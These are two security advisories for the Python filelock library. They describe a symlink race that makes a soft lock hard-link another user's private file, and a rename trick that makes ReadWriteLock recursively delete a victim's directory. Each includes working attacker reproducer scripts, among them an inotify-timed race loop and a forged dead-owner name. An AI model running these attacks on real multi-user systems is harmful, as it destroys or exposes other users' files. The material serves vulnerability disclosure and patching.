At the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).
##### Introduced
fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #​786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.
##### Mechanism
```python
##### src/filelock/_util.py:115-122
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
Path(break_path).unlink()
elif stat.S_ISREG(st_after.st_mode) and _HAS_LINK: # pragma: needs hard-link
with suppress(FileExistsError):
os.link(break_path, lock_file)
Path(break_path).unlink()
```
The `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back "because `link` would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.
The other user plays both the stale holder and the "successor" the branch exists for:
1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.<pid>.<token>`. In a directory without the sticky bit the lock user may rename a file it does not own.
2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
3. The other user renames a symbolic link to the lock user's private file over the break name.
4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.
The other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd "marker" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.
##### Reproduction
The scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.
**`repro`**
```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
sys.stdout.reconfigure(line_buffering=True)
SHARED_DIR = "/tmp/shared-locks"
LOCK_PATH = SHARED_DIR + "/app.lock"
PRIVATE_DIR = "/home/victim/private"
KEY_PATH = PRIVATE_DIR + "/signing.key"
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []}
##### strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before
##### linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).
SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"]
SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]
##### set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit
shutil.rmtree(PRIVATE_DIR, ignore_errors=True)
os.mkdir(PRIVATE_DIR, 0o700)
with open(KEY_PATH, "w") as key_file:
key_file.write("0123456789abcdef\n")
os.chmod(KEY_PATH, 0o600)
shutil.chown(PRIVATE_DIR, "victim", "victim")
shutil.chown(KEY_PATH, "victim", "victim")
shutil.rmtree(SHARED_DIR, ignore_errors=True)
os.mkdir(SHARED_DIR)
os.chmod(SHARED_DIR, 0o777)
key_before = os.stat(KEY_PATH)
print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")
for knob in ("protected_hardlinks", "protected_symlinks"):
print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())
##### control: the attacker cannot give the key a name in the shared directory by itself
link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})"
control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)
print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])
##### attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name
subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER)
attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER)
victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH]
subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)
assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"
##### check, as root: does the key now have a name in the shared directory?
key_after = os.stat(KEY_PATH)
names_of_the_key = [
name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}"))
]
print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")
if names_of_the_key:
# what that name is good for: another program of the victim takes a FileLock there, which truncates the file
shared_name = f"{SHARED_DIR}/{names_of_the_key[0]}"
victim_other_job = [sys.executable, "/tmp/repro.d/victim_other_job.py", shared_name]
subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)
print(f"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})")
print("BUG" if control.returncode != 0 and names_of_the_key else "OK")
```
**`repro.d/plant_stale_marker.py`**
```python
import os
import sys
from filelock import SoftFileLock
##### a genuine marker of a holder that died: a child takes the lock and exits without releasing it
if (child := os.fork()) == 0:
holder = SoftFileLock(sys.argv[1]) # kept referenced: a collected lock releases itself
holder.acquire()
os._exit(0)
os.waitpid(child, 0)
print("attacker: left", sys.argv[1], "held by pid", child, "which has exited", flush=True)
```
**`repro.d/swap_break_name.py`**
```python
import glob
import os
import sys
import time
lock_path, key_path = sys.argv[1:]
kept_path = os.path.join(os.path.dirname(lock_path), "other.lock")
##### the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory
deadline = time.monotonic() + 30
while not (break_paths := glob.glob(lock_path + ".break.*")):
assert time.monotonic() < deadline, "the victim never moved the marker aside"
time.sleep(0.01)
[break_path] = break_paths
print("attacker: the victim renamed the marker to", os.path.basename(break_path), flush=True)
##### still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it
os.utime(break_path)
time.sleep(3) # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link
os.symlink(key_path, lock_path + ".symlink")
os.rename(lock_path + ".symlink", break_path)
print("attacker: replaced", os.path.basename(break_path), "with a symlink to", key_path, flush=True)
##### the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name
deadline = time.monotonic() + 5
while not os.path.lexists(lock_path) and time.monotonic() < deadline:
time.sleep(0.01)
try:
os.rename(lock_path, kept_path)
print("attacker: renamed", os.path.basename(lock_path), "to", kept_path, flush=True)
except FileNotFoundError:
print("attacker: the victim linked nothing at", os.path.basename(lock_path), flush=True)
```
**`repro.d/unpaused_attacker.py`**
```python
#!/usr/bin/env python3
"""Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses."""
import ctypes
import os
import random
import struct
import sys
import time
from filelock import SoftFileLock
lock_path, victim_file, kept_name = sys.argv[1:]
os.chdir(os.path.dirname(lock_path))
lock_name = os.path.basename(lock_path).encode()
IN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80
def spin(microseconds):
until = time.perf_counter() + microseconds / 1e6
while time.perf_counter() < until:
pass
##### The bytes of a genuine marker of a dead process.
if os.fork() == 0:
crashed_holder = SoftFileLock(lock_path)
crashed_holder.acquire()
os._exit(0)
os.wait()
with open(lock_name, "rb") as marker_file:
stale_marker = marker_file.read()
os.unlink(lock_name)
libc = ctypes.CDLL(None)
inotify = libc.inotify_init1(IN_NONBLOCK)
libc.inotify_add_watch(inotify, b".", IN_MOVED_TO)
marker_mtime = 1_000_000_000
lock_cycles = 0
while True:
lock_cycles += 1
os.symlink(victim_file, b"symlink")
marker = os.open(b"staged", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
os.write(marker, stale_marker)
os.utime(marker, (marker_mtime, marker_mtime))
marker_watch = libc.inotify_add_watch(inotify, b"staged", IN_CLOSE_NOWRITE)
while True: # plant it as soon as the victim has released the lock
try:
os.link(b"staged", lock_name)
break
except FileExistsError:
pass
os.unlink(b"staged")
break_name = None
while break_name is None:
try:
events = os.read(inotify, 4096)
except BlockingIOError:
continue
while events and break_name is None:
_, mask, _, name_length = struct.unpack_from("iIII", events)
name = events[16 : 16 + name_length].rstrip(b"\0")
events = events[16 + name_length :]
if mask & IN_CLOSE_NOWRITE:
# The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes
# before that lstat only makes the victim start over on its next poll.
spin(random.uniform(40, 100))
marker_mtime += 1
os.utime(marker, (marker_mtime, marker_mtime))
elif name.startswith(lock_name + b".break."):
# The victim has renamed the marker and is about to lstat the break name and link it back.
os.rename(b"symlink", name)
break_name = name
libc.inotify_rm_watch(inotify, marker_watch)
os.close(marker)
time.sleep(0.001)
try:
at_lock_path = os.lstat(lock_name)
if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:
os.rename(lock_name, kept_name)
print(f"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:", at_lock_path)
break
except FileNotFoundError:
pass
for leftover in (b"symlink", break_name):
if os.path.lexists(leftover):
os.unlink(leftover)
try:
os.read(inotify, 65536)
except BlockingIOError:
pass
```
**`repro.d/unpaused_victim.py`**
```python
#!/usr/bin/env python3
"""Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody."""
import sys
import time
from filelock import SoftFileLock
lock = SoftFileLock(sys.argv[1])
while True:
with lock:
time.sleep(0.005)
time.sleep(0.005)
```
**`repro.d/victim_job.py`**
```python
import sys
from filelock import SoftFileLock
with SoftFileLock(sys.argv[1]):
print("victim: holds", sys.argv[1], flush=True)
```
**`repro.d/victim_other_job.py`**
```python
import sys
from filelock import FileLock
with FileLock(sys.argv[1]):
print("victim: holds", sys.argv[1], flush=True)
```
##### Attack sequence
```mermaid
sequenceDiagram
participant X as other local user (uid 1001)
participant D as /tmp/shared-locks (0777, not sticky)
participant V as SoftFileLock of the lock user (uid 1000)
participant K as ~victim/private/signing.key (0600 in a 0700 dir)
X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X
V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*
rect rgb(255, 214, 214)
X->>D: inotify sees the rename: utime the break file (newer mtime)
V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker
X->>D: rename a symbolic link to signing.key over the break name
V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file
X->>D: rename app.lock to other.lock before the 2 s eviction
Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes
end
```
##### Evidence
The scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.
The result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).
Our review: BUG on 4.2.0 (triage), OK on the head of #​843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.
##### Impact
A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.
Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock("other.lock")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.
On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.
##### Workarounds
Keep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
##### Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #​786)
- 2026-10-16 01:42 UTC: fix PR #​843 opened
- 2026-10-16 05:38 UTC: draft advisory created
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh](https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-112914](https://nvd.nist.gov/vuln/detail/CVE-2026-112914)
- [https://github.com/tox-dev/filelock/pull/843](https://github.com/tox-dev/filelock/pull/843)
- [https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b](https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-crv4-6mhj-j5jh) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name
[CVE-2026-112937](https://nvd.nist.gov/vuln/detail/CVE-2026-112937) / [GHSA-jqc4-5cvw-7w85](https://github.com/advisories/GHSA-jqc4-5cvw-7w85)
<details>
<summary>More information</summary>
#### Details
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.
Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.
Anthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.
##### Severity
**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.
##### Scope and preconditions
- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.
- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.
- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #​820), or a POSIX process whose `/proc/self/fd/<n>` (`/dev/fd/<n>` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.
- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.
- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.
##### Affected code
At the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).
##### Introduced
The link directory moved beside the database in `015d27c` ("fix(read-write): reject WAL databases and link beside the db (#​805)"), and the dead-owner sweep came with `df06bbd` (#​815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#​820), first released in **4.1.1** (verified).
##### Mechanism
When the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.
**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock-<pid>--<host digest>-<random>/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.
**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.
The other user can forge every field. Take `.filelock-2147483647--<digest>-x`. `pid` is the largest value the #​821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is `sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.
One `rename("victim_project", ".filelock-2147483647--<digest>-x")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #​821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.
The sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.
##### Reproduction
The scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.
**`repro`**
```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
shared = "/tmp/shared-cache"
project = f"{shared}/victim_project"
##### ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when
##### /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.
os.unshare(os.CLONE_NEWNS)
subprocess.run(["mount", "--make-rprivate", "/"], check=True)
subprocess.run(["mount", "-t", "tmpfs", "tmpfs", "/proc"], check=True)
##### set up: a shared directory without the sticky bit, holding the victim's private tree
shutil.rmtree(shared, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
os.mkdir(project, 0o700)
with open(f"{project}/notes.txt", "w") as notes_file:
notes_file.write("victim data\n")
shutil.chown(f"{project}/notes.txt", "victim", "victim")
shutil.chown(project, "victim", "victim")
rm = subprocess.run(["runuser", "-u", "attacker", "--", "rm", "-rf", project], capture_output=True, text=True)
print("attacker runs rm -rf on the victim's tree:", rm.stderr.strip())
assert os.path.exists(f"{project}/notes.txt"), "setup: the attacker could delete the tree without filelock"
##### the victim takes the write lock and stays in its critical section
victim = subprocess.Popen(
["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victim_hold_write_lock.py"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
text=True,
)
assert victim.stdout.readline() == "holding the write lock\n", "setup: the victim did not take the lock"
print("while the victim holds the lock:", sorted(os.listdir(shared)))
##### attack
subprocess.run(["runuser", "-u", "attacker", "--", sys.executable, "/tmp/repro.d/attacker_swap_link_dir.py"], check=True)
link_dir = next(name for name in os.listdir(shared) if name.startswith(".filelock-"))
notes = f"{shared}/{link_dir}/notes.txt"
print("after the attacker's renames:", sorted(os.listdir(shared)))
print(f"{notes} exists:", os.path.exists(notes))
assert os.path.exists(notes), "setup: the attacker's renames did not happen"
##### the victim leaves its with block
victim.communicate("\n", timeout=30)
print("victim exit status:", victim.returncode)
print("after the release:", sorted(os.listdir(shared)))
print(f"{notes} exists:", os.path.exists(notes))
##### check: releasing a lock must not delete the victim's files
print("BUG" if not os.path.exists(notes) else "OK")
```
**`repro.d/attacker_swap_link_dir.py`**
```python
import os
shared = "/tmp/shared-cache"
##### both directories are 0700 and owned by victim; renaming them needs write permission on the parent only
link_dir = next(name for name in os.listdir(shared) if name.startswith(".filelock-"))
os.rename(f"{shared}/{link_dir}", f"{shared}/moved-aside")
os.rename(f"{shared}/victim_project", f"{shared}/{link_dir}")
```
**`repro.d/victim_hold_write_lock.py`**
```python
import sys
from filelock import ReadWriteLock
lock = ReadWriteLock("/tmp/shared-cache/cache.db")
with lock.write_lock():
print("holding the write lock", flush=True)
sys.stdin.readline() # stands for the work the lock protects; it ends when repro sends a line
```
##### Attack sequence
```mermaid
sequenceDiagram
participant A as other local user
participant V as lock user's process (link route)
participant K as filesystem (parent 0777, no sticky bit)
rect rgb(255, 214, 214)
Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc
V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db
V->>K: BEGIN EXCLUSIVE, write lock held
A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)
A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)
V->>K: release() calls shutil.rmtree(".filelock-PID--DIGEST-XXXX")
Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays
A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)
V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one
end
```
##### Evidence
The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock("/tmp/shared-cache/cache.db")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:
```
attacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied
while the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']
after the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']
/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True
victim exit status: 0
after the release: ['cache.db', 'moved-aside']
